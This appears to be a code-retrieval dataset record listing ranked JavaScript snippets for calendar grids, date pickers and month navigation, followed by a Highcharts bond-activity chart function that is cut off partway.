currentDate.toLocaleString(\"en-US\", {\n year: \"numeric\"\n });\n monthTitle.innerHTML = `${monthName} ${yearNum}`;\n\n if (side == \"left\") {\n gridTable.className = \"animated fadeOutRight\";\n } else {\n gridTable.className = \"animated fadeOutLeft\";\n }\n\n setTimeout(() => {\n gridTable.innerHTML = \"\";\n\n var newTr = document.createElement(\"div\");\n newTr.className = \"row\";\n var currentTr = gridTable.appendChild(newTr);\n\n for (var i = 1; i < startDate.getDay(); i++) {\n var emptyDivCol = document.createElement(\"div\");\n emptyDivCol.className = \"col empty-day\";\n currentTr.appendChild(emptyDivCol);\n }\n\n var lastDay = new Date(currentDate.getFullYear(), currentDate.getMonth() + 1, 0);\n lastDay = lastDay.getDate();\n\n for (var i = 1; i <= lastDay; i++) {\n if (currentTr.children.length >= 7) {\n currentTr = gridTable.appendChild(addNewRow());\n }\n var currentDay = document.createElement(\"div\");\n currentDay.className = \"col\";\n if (selectedDayBlock == null && i == currentDate.getDate() || selectedDate.toDateString() == new Date(currentDate.getFullYear(), currentDate.getMonth(), i).toDateString()) {\n selectedDate = new Date(currentDate.getFullYear(), currentDate.getMonth(), i);\n\n selectedDayBlock = currentDay;\n setTimeout(() => {\n currentDay.classList.add(\"blue\");\n currentDay.classList.add(\"lighten-3\");\n }, 900);\n }\n currentDay.innerHTML = i;\n\n //show marks & appt links\n if (globalEventObj[new Date(currentDate.getFullYear(), currentDate.getMonth(), i).toDateString()]) {\n var eventMark = document.createElement(\"div\");\n eventMark.className = \"day-mark\";\n currentDay.appendChild(eventMark);\n var newApptLink = document.createElement(\"div\");\n newApptLink.className = \"appt-link\";\n currentDay.appendChild(newApptLink);\n\n }\n\n currentTr.appendChild(currentDay);\n }\n\n for (var i = currentTr.getElementsByTagName(\"div\").length; i < 7; i++) {\n var emptyDivCol = document.createElement(\"div\");\n emptyDivCol.className = \"col empty-day\";\n currentTr.appendChild(emptyDivCol);\n }\n\n if (side == \"left\") {\n gridTable.className = \"animated fadeInLeft\";\n } else {\n gridTable.className = \"animated fadeInRight\";\n }\n\n function addNewRow() {\n var node = document.createElement(\"div\");\n node.className = \"row\";\n return node;\n }\n\n }, !side ? 0 : 270);\n}", "title": "" }, { "docid": "084ab96964b8d1f2bebac8cb7698381e", "score": "0.5528611", "text": "handleChangedMonthFromDayPicker(date) {\n this.setPageDate(date);\n this.$emit('changed-month', date);\n }", "title": "" }, { "docid": "6875236617dd45fce4d375b041378b7a", "score": "0.5526163", "text": "function addClickListenersWeekView(columnIDs){\n\n var date;\n var time;\n var splitIndex;\n columnIDs.forEach(function(columnID){\n\n $(\"#createNewEventsArea\" + columnID).on(\"click\", function(){\n\n splitIndex = columnID.indexOf(\"T\");\n date = columnID.substring(0, splitIndex);\n time = columnID.substring(splitIndex+1);\n time = time.substring(0, 2) + \":\" + time.substring(2, 4);\n\n var inputString = date;\n var regEx1 = /-(\\d)-/;\n var result = inputString.replace(regEx1, \"-0$1-\");\n var regEx2 = /-(\\d)$/;\n result = result.replace(regEx2, \"-0$1\");\n\n // have to do months +1 because calendar internally counts from 0 to 11.\n // not very nice but in interest of time a quick fix that works.\n var month = parseInt(result.substring(5,7));\n month ++;\n if(month <10){\n month = \"0\" + month;\n }\n\n result = result.substring(0, 5) + month + result.substring(7);\n\n $('.ui.sidebar').sidebar('toggle');\n refreshFormInput();\n\n startDate.val(result);\n endDate.val(result);\n startTimeInput.val(time);\n })\n })\n\n}", "title": "" }, { "docid": "4f3b79f7ee208d842d6a6e08f1309af7", "score": "0.55199903", "text": "function handleClick() {\n d3.event.preventDefault();\n var date = d3.select(\"#datetime\").property(\"value\");\n let filteredData = tableData;\n if (date) {\n filteredData = filteredData.filter(row => row.datetime === date);\n }\n createTable(filteredData);\n}", "title": "" }, { "docid": "6ab421e9881fe9e433ddd7e28e784aa5", "score": "0.55146664", "text": "function yearSelectorClicked(element){\n\tvar configuration = getConfiguration(element);\n\n\tvar table = element.parentNode.parentNode.parentNode.parentNode;\n\tvar td_selectable = table.querySelectorAll('.label-year-selector');\n\ttd_selectable.forEach(function(element){\n\t\telement.id = 'basic';\n\t});\n\telement.id = 'clicked';\n\tvar popup = getPopupParent(table);\n\n\tvar order = getOrderDateEdit(element);\n\n\tupdateYear(popup, element.innerHTML);\n\tif(!contains(order, 'D') && !contains(order, 'M')){\n\t\tif(configuration.auto_close_date){\n\t\t\tpopup.style.display = \"none\";\n\t\t\tpopup.blur();\n\t\t}\n\t}\n\telse{\n\t\tdisplayPopup(popup, null);\n\t\tif(configuration.auto_redirect_date){\n\t\t\tif(contains(order, 'M')){\n\t\t\t\tvar month_selector = popup.querySelector('.month-selector');\n\t\t\t\tdisplaySelector(month_selector);\n\t\t\t}\n\t\t\telse{\n\t\t\t\tvar day_selector = popup.querySelector('.day-selector');\n\t\t\t\tdisplaySelector(day_selector);\n\t\t\t}\n\t\t}\n\t\telse{\n\t\t\tvar year_selector = popup.querySelector('.year-selector');\n\t\t\tdisplaySelector(year_selector);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "d53425878ed27c6ca4a65b28d4f66475", "score": "0.55135715", "text": "'change #dateMonth' (event) {\n\t\t//when date is changed, change the number of days in the day element\n\t\t//used this page => https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input/date\n\t\tvar dayOptions = Template.instance().daysDropDown.get();\n\t\tvar month = event.target.value;\n\t\tif(month ==='January' || month === 'March' || month === 'May' || month === 'July' || month === 'August' || month === 'October' || month === 'December') {\n\t\t\twhile(dayOptions.length < 31)\t\t\t{\n\t\t\t\tdayOptions.push(dayOptions[dayOptions.length-1] + 1);\n\t\t\t}\n\t\t}\n\t\telse if(month === 'April' || month === 'June' || month === 'September' || month === 'November') {\n\t\t\tif(dayOptions.length < 30) {\n\t\t\t\twhile(dayOptions.length < 30)\n\t\t\t\t\tdayOptions.push(dayOptions[dayOptions.length-1] + 1);\n\t\t\t}\n\t\t\telse if(dayOptions.length > 30) {\n\t\t\t\twhile(dayOptions.length > 30)\n\t\t\t\t\tdayOptions.splice(dayOptions.length-1);\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t \t// If month is February, calculate whether it is a leap year or not\n\t\t\t//calculate leap year\n\t\t\tvar year = Template.instance().find(\"#dateYear\").value;\n\t\t\tif((year - 2016) % 4 === 0) {\n\t\t\t\twhile(dayOptions.length > 29)\n\t\t\t\t\tdayOptions.splice(dayOptions.length-1);\n\t\t\t}\n\t\t\telse {\n\t\t\t\twhile(dayOptions.length > 28)\n\t\t\t\t\tdayOptions.splice(dayOptions.length-1);\n\t\t\t}\n\t\t}\n\t\tTemplate.instance().daysDropDown.set(Template.instance().daysDropDown.get());\n\t}", "title": "" }, { "docid": "a36a37707700ac55bb5b4534fec3a8a1", "score": "0.55058587", "text": "function _selectMonth(inputmonth, inputyear) {\n\t\tvar functionfirstDate = new Date(inputmonth+\"/01/\"+inputyear);\n\t\tvar functionfirstDay = functionfirstDate.getDay();\n\t\tvar functionmonthDay = _howManyDays(inputmonth, inputyear);\n\t\tvar functionpreviousMonthDay = _howManyDays(inputmonth-1, inputyear);\n\t\tvar functionmoveStep = functionfirstDay;\n\t\tvar outputarrDate = [];\n\t\t_putDate(1, functionmonthDay, functionmoveStep, functionpreviousMonthDay, \".dateNumber\");\n\t\t$(\"#month\"+inputmonth).css(\"opacity\", \"1\");\n\t} //end function", "title": "" }, { "docid": "9d4e5740700ea9d9b86856f2789fee9a", "score": "0.54887474", "text": "function addDate() {\n var selectedDay = daysDropdown.value;\n var selectedMonth = startingMonth + monthsDropdown.selectedIndex;\n var selectedDate = new Date(startingYear, selectedMonth, selectedDay);\n var selectedDatePrice = new DatePrice(selectedDate);\n selectedDates.push(selectedDatePrice);\n selectedDates.sort(compare);\n updateTableContent();\n}", "title": "" }, { "docid": "7f590b4e5ac1e02677ce83cf5fec6bd0", "score": "0.5486709", "text": "function printDateNumber(monthNumber, yearNumber, mon, tue, wed, thur, fri, sat, sund) {\n\n $($('tbody.event-calendar tr')).each(function(index) {\n $(this).empty();\n });\n\n $($('thead.event-days tr')).each(function(index) {\n $(this).empty();\n });\n\n function getDaysInMonth(month, year) {\n // Since no month has fewer than 28 days\n var date = new Date(year, month, 1);\n var days = [];\n while (date.getMonth() === month) {\n days.push(new Date(date));\n date.setDate(date.getDate() + 1);\n }\n return days;\n }\n\n i = 0;\n\n setDaysInOrder(mon, tue, wed, thur, fri, sat, sund);\n\n function setDaysInOrder(mon, tue, wed, thur, fri, sat, sund) {\n var monthDay = getDaysInMonth(monthNumber - 1, yearNumber)[0].toString().substring(0, 3);\n if (monthDay === 'Mon') {\n $('thead.event-days tr').append('<td>' + mon + '</td><td>' + tue + '</td><td>' + wed + '</td><td>' + thur + '</td><td>' + fri + '</td><td>' + sat + '</td><td>' + sund + '</td>');\n } else if (monthDay === 'Tue') {\n $('thead.event-days tr').append('<td>' + tue + '</td><td>' + wed + '</td><td>' + thur + '</td><td>' + fri + '</td><td>' + sat + '</td><td>' + sund + '</td><td>' + mon + '</td>');\n } else if (monthDay === 'Wed') {\n $('thead.event-days tr').append('<td>' + wed + '</td><td>' + thur + '</td><td>' + fri + '</td><td>' + sat + '</td><td>' + sund + '</td><td>' + mon + '</td><td>' + tue + '</td>');\n } else if (monthDay === 'Thu') {\n $('thead.event-days tr').append('<td>' + thur + '</td><td>' + fri + '</td><td>' + sat + '</td><td>' + sund + '</td><td>' + mon + '</td><td>' + tue + '</td><td>' + wed + '</td>');\n } else if (monthDay === 'Fri') {\n $('thead.event-days tr').append('<td>' + fri + '</td><td>' + sat + '</td><td>' + sund + '</td><td>' + mon + '</td><td>' + tue + '</td><td>' + wed + '</td><td>' + thur + '</td>');\n } else if (monthDay === 'Sat') {\n $('thead.event-days tr').append('<td>' + sat + '</td><td>' + sund + '</td><td>' + mon + '</td><td>' + tue + '</td><td>' + wed + '</td><td>' + thur + '</td><td>' + fri + '</td>');\n } else if (monthDay === 'Sun') {\n $('thead.event-days tr').append('<td>' + sund + '</td><td>' + mon + '</td><td>' + tue + '</td><td>' + wed + '</td><td>' + thur + '</td><td>' + fri + '</td><td>' + sat + '</td>');\n }\n };\n $(getDaysInMonth(monthNumber - 1, yearNumber)).each(function(index) {\n var index = index + 1;\n if (index < 8) {\n $('tbody.event-calendar tr.1').append('<td date-month=\"' + monthNumber + '\" date-day=\"' + index + '\" date-year=\"' + yearNumber + '\">' + index + '</td>');\n } else if (index < 15) {\n $('tbody.event-calendar tr.2').append('<td date-month=\"' + monthNumber + '\" date-day=\"' + index + '\" date-year=\"' + yearNumber + '\">' + index + '</td>');\n } else if (index < 22) {\n $('tbody.event-calendar tr.3').append('<td date-month=\"' + monthNumber + '\" date-day=\"' + index + '\" date-year=\"' + yearNumber + '\">' + index + '</td>');\n } else if (index < 29) {\n $('tbody.event-calendar tr.4').append('<td date-month=\"' + monthNumber + '\" date-day=\"' + index + '\" date-year=\"' + yearNumber + '\">' + index + '</td>');\n } else if (index < 32) {\n $('tbody.event-calendar tr.5').append('<td date-month=\"' + monthNumber + '\" date-day=\"' + index + '\" date-year=\"' + yearNumber + '\">' + index + '</td>');\n }\n i++;\n }\n );\n var date = new Date();\n var month = date.getMonth() + 1;\n var thisyear = new Date().getFullYear();\n setCurrentDay(month, thisyear);\n fetchEventData();\n\n\n }", "title": "" }, { "docid": "0f035dabf34c00ffbb2d973bace90943", "score": "0.5484258", "text": "function ant_inputDate_showMonths() {\r\n\tif (ant_inputDate_process === null) {\r\n\t\t// the modal has been closed during the call\r\n\t\treturn false;\r\n\t}\r\n\tant_inputDate_process.setSelectionStatus(\"month\");\r\n}", "title": "" }, { "docid": "2f5fe1fe7e10ca9535453602228ea0b8", "score": "0.54841495", "text": "function makecalendar(Monthdata) {\n var ThisMonthsContent =\n \"<div class='month'><ul><li>\" +\n Monthdata[2] +\n \"<br><span style='font-size:18px'>\" +\n Monthdata[4] +\n \"<span class='legend'><div class='Aday daykey'></div>A day<div class='Bday daykey'></div>B day</span></span></li></ul></div></b></div> <ul class='weekdays'><li>sun</li><li>mon</li><li>tue</li><li>wed</li><li>thu</li><li>fri</li><li>sat</li></ul><ul class='days'>\";\n for (var firstweek = 0; firstweek < 7; firstweek++) {\n switch (firstweek) {\n case 0: //1\n if (Monthdata[0] === 1) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>1</li>\";\n } else if (Monthdata[0] === 2) {\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n Monthdata[3] +\n \"</li>\";\n } else {\n math = Monthdata[3] - Monthdata[0] + 2;\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n math +\n \"</li>\";\n }\n break;\n case 1: //2\n if (Monthdata[0] === 1) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>2</li>\";\n } else if (Monthdata[0] === 2) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>1</li>\";\n } else if (Monthdata[0] === 3) {\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n Monthdata[3] +\n \"</li>\";\n } else if (Monthdata[0] === 4) {\n math = Monthdata[3] - 1;\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n math +\n \"</li>\";\n } else if (Monthdata[0] === 5) {\n math = Monthdata[3] - 2;\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n math +\n \"</li>\";\n } else if (Monthdata[0] === 6) {\n math = Monthdata[3] - 3;\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n math +\n \"</li>\";\n } else if (Monthdata[0] === 7) {\n math = Monthdata[3] - 4;\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n math +\n \"</li>\";\n } else {\n alert(\"Missing day of week\");\n }\n break;\n case 2: //3\n if (Monthdata[0] === 1) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>3</li>\";\n } else if (Monthdata[0] === 2) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>2</li>\";\n } else if (Monthdata[0] === 3) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>1</li>\";\n } else if (Monthdata[0] === 4) {\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n Monthdata[3] +\n \"</li>\";\n } else if (Monthdata[0] === 5) {\n math = Monthdata[3] - 1;\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n math +\n \"</li>\";\n } else if (Monthdata[0] === 6) {\n math = Monthdata[3] - 2;\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n math +\n \"</li>\";\n } else if (Monthdata[0] === 7) {\n math = Monthdata[3] - 3;\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n math +\n \"</li>\";\n }\n break;\n case 3: //4\n if (Monthdata[0] === 1) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>4</li>\";\n } else if (Monthdata[0] === 2) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>3</li>\";\n } else if (Monthdata[0] === 3) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>2</li>\";\n } else if (Monthdata[0] === 4) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>1</li>\";\n } else if (Monthdata[0] === 5) {\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n Monthdata[3] +\n \"</li>\";\n } else if (Monthdata[0] === 6) {\n math = Monthdata[3] - 1;\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n math +\n \"</li>\";\n } else if (Monthdata[0] === 7) {\n math = Monthdata[3] - 2;\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n math +\n \"</li>\";\n }\n break;\n case 4: //5\n if (Monthdata[0] === 1) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>5</li>\";\n } else if (Monthdata[0] === 2) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>4</li>\";\n } else if (Monthdata[0] === 3) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>3</li>\";\n } else if (Monthdata[0] === 4) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>2</li>\";\n } else if (Monthdata[0] === 5) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>1</li>\";\n } else if (Monthdata[0] === 6) {\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n Monthdata[3] +\n \"</li>\";\n } else if (Monthdata[0] === 7) {\n math = Monthdata[3] - 1;\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n math +\n \"</li>\";\n }\n break;\n case 5: //6\n if (Monthdata[0] === 1) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>6</li>\";\n } else if (Monthdata[0] === 2) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>5</li>\";\n } else if (Monthdata[0] === 3) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>4</li>\";\n } else if (Monthdata[0] === 4) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>3</li>\";\n } else if (Monthdata[0] === 5) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>2</li>\";\n } else if (Monthdata[0] === 6) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>1</li>\";\n } else if (Monthdata[0] === 7) {\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n Monthdata[3] +\n \"</li>\";\n }\n break;\n case 6: //7\n if (Monthdata[0] === 1) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>7</li>\";\n } else if (Monthdata[0] === 2) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>6</li>\";\n } else if (Monthdata[0] === 3) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>5</li>\";\n } else if (Monthdata[0] === 4) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>4</li>\";\n } else if (Monthdata[0] === 5) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>3</li>\";\n } else if (Monthdata[0] === 6) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>2</li>\";\n } else if (Monthdata[0] === 7) {\n ThisMonthsContent += \"<li onclick='changeday(this)'>1</li>\";\n }\n break;\n }\n }\n var dayafter = 1;\n for (var days = 7; days < 42; days++) {\n math = days - Monthdata[0] + 1; //if Monthdata[0]===2 then math should === 7\n if (math < Monthdata[1]) {\n math = days + 2 - Monthdata[0]; //if Monthdata[0]===2 then math should === 7\n ThisMonthsContent += \"<li onclick='changeday(this)'>\" + math + \"</li>\";\n } else {\n ThisMonthsContent +=\n \"<li onclick='changeday(this)' class='anothermonth'>\" +\n dayafter +\n \"</li>\";\n dayafter++;\n }\n }\n ThisMonthsContent += \"</ul>\";\n for (var C = 0; C < calendars.length; C++) {\n calendars[C].innerHTML = ThisMonthsContent;\n }\n}", "title": "" }, { "docid": "5cd93cab322cdaea2cb85652d0005da3", "score": "0.54806834", "text": "function mark(/*Boolean*/ selected, /*DomNode*/ cell){\n\t\t\t\tdomClass.toggle(cell, \"dijitCalendarSelectedDate\", selected);\n\t\t\t\tcell.setAttribute(\"aria-selected\", selected ? \"true\" : \"false\");\n\t\t\t}", "title": "" }, { "docid": "5cd93cab322cdaea2cb85652d0005da3", "score": "0.54806834", "text": "function mark(/*Boolean*/ selected, /*DomNode*/ cell){\n\t\t\t\tdomClass.toggle(cell, \"dijitCalendarSelectedDate\", selected);\n\t\t\t\tcell.setAttribute(\"aria-selected\", selected ? \"true\" : \"false\");\n\t\t\t}", "title": "" }, { "docid": "fbb6c5c346c40db2d50441edf6db3a64", "score": "0.5472716", "text": "_navigate(e) {\n //When navigates selectedDate will be set to null.\n //adds/subtracts days from screenDate value based on the navigation button clicked.\n const day = moment(this._screenDate, this.format).startOf(\"month\");\n switch (e.target.id) {\n case \"prevYear\":\n day.subtract(1, \"y\");\n break;\n case \"nextYear\":\n day.add(1, \"y\");\n break;\n case \"prevMonth\":\n day.subtract(1, \"M\");\n break;\n case \"nextMonth\":\n day.add(1, \"M\");\n break;\n }\n //Sets new date as screenDate and then calls plot()\n this._screenDate = day.format(this.format);\n this._plot();\n }", "title": "" }, { "docid": "23fc59c0d23d89bdb70932dbdf5e062b", "score": "0.54723644", "text": "function drawDays(monthdays, month){\n\n clearCalendar();\n\n // remove old days\n var newdate = new Date(2016, month, 01);\n var startingDay = newdate.getDay();\n\n console.log(\"day\",startingDay);\n var count = 0;\n\n for (var i = 0; i < startingDay; i++) {\n $('.one').append(\"<td class='grey'><p></p></td>\")\n count += 1;\n }\n var day = 1;\n for (var i = 1; i <= monthdays; i++) {\n console.log(day);\n if (count < 7) {\n $('.one').append(\"<td class='click'>\" + \"<p>\" + day + \"</p></td>\")\n count += 1;\n } else if (count >= 7 && count < 14) {\n $('.two').append(\"<td>\" + \"<p>\" + day + \"</p></td>\")\n count += 1;\n } else if (count >= 14 && count < 21) {\n $('.three').append(\"<td>\" + \"<p>\" + day + \"</p></td>\")\n count += 1;\n } else if (count >= 21 && count < 28) {\n $('.four').append(\"<td>\" + \"<p>\" + day + \"</p></td>\")\n count += 1;\n } else if (count >= 28 && count < 35) {\n $('.five').append(\"<td>\" + \"<p>\" + day + \"</p></td>\")\n count += 1;\n } else if (count >= 35 && count < 38) {\n $('.six').append(\"<td>\" + \"<p>\" + day + \"</p></td>\")\n count += 1;\n }\n day ++;\n }\n }", "title": "" }, { "docid": "19d73f93373013a0f2b1c857b4708b0c", "score": "0.5468341", "text": "'focusedDateData.month'(value) {\n this.$emit('change-month', value);\n }", "title": "" }, { "docid": "d6258b7806cf93aed13f1e712c014b01", "score": "0.5459835", "text": "function getMonthCalendar(selectedDateObj) {\n currentView = 'month';\n\n clearCalendarContainer();\n\n createWeekMonthHeader();\n\n var selectedDateMonth = selectedDateObj.getMonth();\n var selectedDateYear = selectedDateObj.getFullYear();\n\n //to determine day_no and days variables\n var day_no = get_day_no(selectedDateMonth, selectedDateYear); //1\n\n var days; //30\n if (selectedDateMonth != 11) days = new Date(selectedDateYear, selectedDateMonth+1, 0).getDate();\n else days = new Date(selectedDateYear+1, 0, 0).getDate();\n\n var calendar = createMonthCalTable(day_no, days, selectedDateMonth, selectedDateYear);\n\n //fill month header\n document.getElementById(\"month-week\").innerHTML = fullMonthName[selectedDateMonth];\n document.getElementById(\"year\").innerHTML = selectedDateYear;\n document.getElementById(\"calendar-dates\").appendChild(calendar);\n\n $('#'+selectedDateObj.getFullYear()+'-'+selectedDateObj.getMonth()+'-'+selectedDateObj.getDate()).toggleClass('selected');\n\n loadEventsToMonthCalendar();\n createMonthHoverEffect();\n addMonthDoubleClickEffect();\n}", "title": "" }, { "docid": "9e264f858de5e55065b55cc36dc2e4d0", "score": "0.5457305", "text": "function button_Month_YearSelector_Click(event) {\n\tlet clickedInsideToggle = (event !== undefined) ? document.getElementById('yearMonth').contains(event.target) : true;\n\tif (clickedInsideToggle) {\n\t\tisMonth_YearSelectorOpen = !isMonth_YearSelectorOpen;\n\t} else {\n\t\tlet clickedInsideContent = document.getElementById('monthSelector').contains(event.target) || document.getElementById('yearSelector').contains(event.target);\n\t\tif (!clickedInsideContent) {\n\t\t\tisMonth_YearSelectorOpen = false;\n\t\t}\n\t}\n\n\tif (isMonth_YearSelectorOpen) {\n\t\tgeneratedMonthList();\n\t\tgeneratedYearList(currentWatchingYear);\n\t\tanimationNodeSide(true);\n\t} else {\n\t\tanimationNodeSide();\n\t\tdestroyDOMbyClass('selectorParent-year', 'block');\n\t\tdestroyDOMbyClass('selectorParent-month', 'block');\n\t}\n}", "title": "" } ]
c7757da22e66d996ca63e842a2ff409c
create all crossable bonds by cusip chart
[ { "docid": "a4ee4243a8171736f1af7662c9c51c80", "score": "0.4932257", "text": "function crossable_top_by_cusip_hg_chart() {\r\n //var to catch any issues while getting data \r\n // var jqxhr_crossable_top_by_cusip_hg = $.get('../../datafiles/widget_data/hg_topbonds_crossed_by_cusip.csv', function (data) {\r\n var jqxhr_crossable_top_by_cusip_hg = $.get('hg_topbonds_crossed_by_cusip.csv', function (data) {\r\n var options = {\r\n //chart options \r\n chart: {\r\n //set type of graph, where it renders\r\n type: 'line',\r\n renderTo: 'crossable_top_by_cusip_hg_container'\r\n },\r\n //set title of graph\r\n title: {\r\n text: 'TRACE High Grade Crossable Activity by Liquidity and CUSIPs',\r\n style: {\r\n color: '#4D759E'\r\n },\r\n align: 'center'\r\n },\r\n //set xAxis title\r\n xAxis: {\r\n title: {\r\n text: 'Date',\r\n style: {\r\n color: '#4D759E',\r\n fontWeight: 'bold'\r\n }\r\n }\r\n },\r\n //set yAxis info \r\n yAxis: {\r\n title: {\r\n text: 'TRACE HG Crossable Activity ( % )',\r\n style: {\r\n color: '#4D759E',\r\n fontWeight: 'bold'\r\n }\r\n },\r\n //make y-axis labels %s\r\n labels: {\r\n formatter: function () {\r\n return this.value + '%';\r\n }\r\n },\r\n //set y-axis to the left side\r\n opposite: false,\r\n //set background grid line width\r\n gridLineWidth: 1\r\n },\r\n //stylize the tooltip \r\n tooltip: {\r\n pointFormat: '<span style=\"color:{series.color}\">{series.name}</span>: <b>{point.y}</b><br/>',\r\n valueSuffix: '%',\r\n valueDecimals: 2\r\n },\r\n //enable and stylize the legend\r\n legend: {\r\n enabled: true,\r\n layout: 'horizontal',\r\n align: 'center',\r\n borderWidth: 1,\r\n borderRadius: 5,\r\n itemDistance: 20,\r\n reversed: false\r\n },\r\n //set the starting range. 0-5. 5=\"All\", 4=\"1yr\", etc\r\n rangeSelector: {\r\n selected: 4,\r\n allButtonsEnabled: true\r\n },\r\n //set general plot options \r\n plotOptions: { \r\n //make the number of points allowed uncapped\r\n series: {\r\n turboThreshold: 0\r\n }\r\n },\r\n //disable credits\r\n credits: {\r\n enabled: false\r\n },\r\n //make download as csv format correctly\r\n navigator: {\r\n series: {\r\n includeInCSVExport: false\r\n }\r\n },\r\n //set name of chart downloads\r\n exporting: {\r\n filename: 'MarketAxess_TRACE_crossable_top_by_cusips_hg',\r\n //enable download icon\r\n enabled: true,\r\n //add image to download\r\n chartOptions: {\r\n chart: {\r\n events: {\r\n load: function () {\r\n this.renderer.image('http://www.marketaxess.com/images/marketaxess_logo2.gif', 90, 75, 300, 48).attr({\r\n opacity: 0.1\r\n }).add();\r\n }\r\n }\r\n },\r\n //remove scrollbar and navigator from downloaded image\r\n scrollbar: {\r\n enabled: false\r\n },\r\n navigator:{\r\n enabled: false\r\n }\r\n },\r\n //make download as csv format correctly\r\n csv: {\r\n dateFormat: '%Y-%m-%d'\r\n }\r\n },\r\n //set graph colors\r\n colors: ['#002244', '#99BBDD', '#DBBB33', '#FFEE66', '#55AA00', '#99CC66', '#5500AA', '#9966CC', '#AA5500', '#F77B00'],\r\n\r\n\r\n //series to be filled by data \r\n series: []\r\n };\r\n //names of labels in order of series. make sure they are the same as series header in data file\r\n var names = ['Overall by CUSIPs', 'Overall Moving Average by CUSIPs', \r\n 'Top by CUSIPs', 'Top Moving Average by CUSIPs', 'Out by CUSIPs', 'Out Moving Average by CUSIPs']; \r\n\r\n //get csv file, multiply by 100 (divide by .01) and populate chart\r\n readCSV(options, data, 0.01, names);\r\n\r\n //make moving average line appear behind\r\n for (var i = 0; i < options.series.length; i++){\r\n if (i % 2 === 0) options.series[i].zIndex = 2; \r\n else options.series[i].zIndex = 1;\r\n } \r\n\r\n var chart = new Highcharts.StockChart(options);\r\n\r\n //make switch button\r\n chart.renderer.button('View by Volume',687, 83, function() {},\r\n {\r\n //normal state (keep static to stop toggle dispay bug)\r\n zIndex: 3,\r\n width: 100,\r\n height: 17,\r\n 'font-weight': 'bolder',\r\n 'font-style': 'oblique',\r\n fill: '#99BBDD'\r\n }, \r\n {//hover state\r\n }\r\n ).on('click', function () { \r\n $('.chart_container').toggle(false);\r\n $('#crossable_top_by_vol_hg_container').toggle(true);\r\n\r\n //switch buttons\r\n $('.by_cusip_buttons').toggle(false)\r\n $('.by_vol_buttons').toggle(true)\r\n }).add();\r\n\r\n\r\n })\r\n //catch and display any errors \r\n .fail(function (jqxhr_crossable_top_by_cusip_hg, exception) {\r\n ajaxError(jqxhr_crossable_top_by_cusip_hg, exception, '#crossable_top_by_cusip_hg_container');\r\n });\r\n\r\n }", "title": "" } ]
[ { "docid": "388ef9516eed695c1c9cb4736bf7a5d2", "score": "0.5696579", "text": "function compileBubblesArray(){\r\n \r\n // Get the biggest votes received number\r\n var maxVotes = 0;\r\n for(var i = 0; i < bpOnchainData.rows.length; i++){\r\n var voteCount = round(bpOnchainData.rows[i].total_votes/10000, 0);\r\n if(voteCount > maxVotes){\r\n maxVotes = voteCount;\r\n };\r\n };\r\n\r\n // push a new bubble object into the bubbles array.\r\n var bubbleCount = 0;\r\n for(var i = 0; i < bpOnchainData.rows.length; i++)\r\n {\r\n if(bpOnchainData.rows[i].is_active == 1){\r\n bubbleCount = bubbleCount + 1;\r\n }\r\n }\r\n \r\n for(var i = 0; i < bpOnchainData.rows.length; i++)\r\n {\r\n if(bpOnchainData.rows[i].is_active == 1){\r\n var name = bpOnchainData.rows[i].owner;\r\n var rank = i;\r\n var vote = round(bpOnchainData.rows[i].total_votes/10000);\r\n bubbles.push(new Bubble(name, rank, vote, maxVotes, chartWidth, chartheight, bubbleCount));\r\n };\r\n };\r\n }", "title": "" }, { "docid": "2e21f3041b3daa2533212b8ccf802267", "score": "0.5577628", "text": "function caclculateDatasets() {\n\t\t\t\tvar dataset = [];\n\t\t\t\tif ((atliekTarifai.reduce(function(a, b){ return a + b })) > 0) {\n\t\t\t\t\tvar dataObj = {\n\t\t\t\t\t\tlabel: \"Atliekų 